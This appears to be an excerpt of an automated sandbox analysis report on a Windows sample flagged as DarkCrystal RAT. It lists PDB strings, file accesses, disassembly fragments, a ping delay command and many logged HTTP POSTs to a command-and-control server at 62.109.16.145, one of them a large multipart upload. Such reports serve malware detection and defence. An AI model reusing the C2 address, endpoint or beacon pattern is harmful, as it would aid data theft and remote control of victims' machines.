Source:	Binary string: C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: eC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \|C:/Users/user\AppData\Local\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: gC:/Users/user\AppData\Local\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: yC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wC:/Users/user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: }C:/Users/user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: hC:/Users/user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: kC:/Users/user\AppData\Local\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000385E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000003042000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ntkrnlmp.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000425E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.0000000004C5E000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:/Users/user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: zDqAlrJjQSnFyiiCVBYxCXJUQP.exe, 00000005.00000002.4126682689.000000000565E000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 4x nop then jmp 00007FFD9B7E2216h	0_2_00007FFD9B7D0872
Source: C:\Users\user\Desktop\FYKrlfQrxb.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	0_2_00007FFD9B97BC3D
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 4x nop then jmp 00007FFD9BA12216h	5_2_00007FFD9BA00872
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 4x nop then mov dword ptr [ebp-04h], 7FFFFFFFh	5_2_00007FFD9BBABC3D
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 4x nop then jmp 00007FFD9BF52B29h	5_2_00007FFD9BF52869
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 4x nop then jmp 00007FFD9BF52B29h	5_2_00007FFD9BF52A28
Source: C:\Program Files\Windows Mail\zDqAlrJjQSnFyiiCVBYxCXJUQP.exe	Code function: 4x nop then jmp 00007FFD9BF52B29h	5_2_00007FFD9BF52A38

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2048095 - Severity 1 - ET MALWARE [ANY.RUN] DarkCrystal Rat Check-in (POST) : 192.168.2.4:49730 -> 62.109.16.145:80

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost

Source: Joe Sandbox View

ASN Name: THEFIRST-ASRU THEFIRST-ASRU

Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 344Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 384Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1760Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1760Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1760Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1752Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: multipart/form-data; boundary=----yy7bU66Cf92JLKX8naKXzxU4Ui5hPFbuf5User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 193638Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continue
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1044Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1764Expect: 100-continueConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /protect4Dump/externalUpdateDle/requestLongpollPublicRequest/Cdnjs/LinuxasyncJavascript/provider/trafficuniversalapi/Vmjavascripteternal1/db/requestDatalife/ImagevideoLineserverprotectLinuxasyncTest.php HTTP/1.1Content-Type: application/octet-streamUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0Host: 62.109.16.145Content-Length: 1048Expect: 100-continueConnection: Keep-Alive
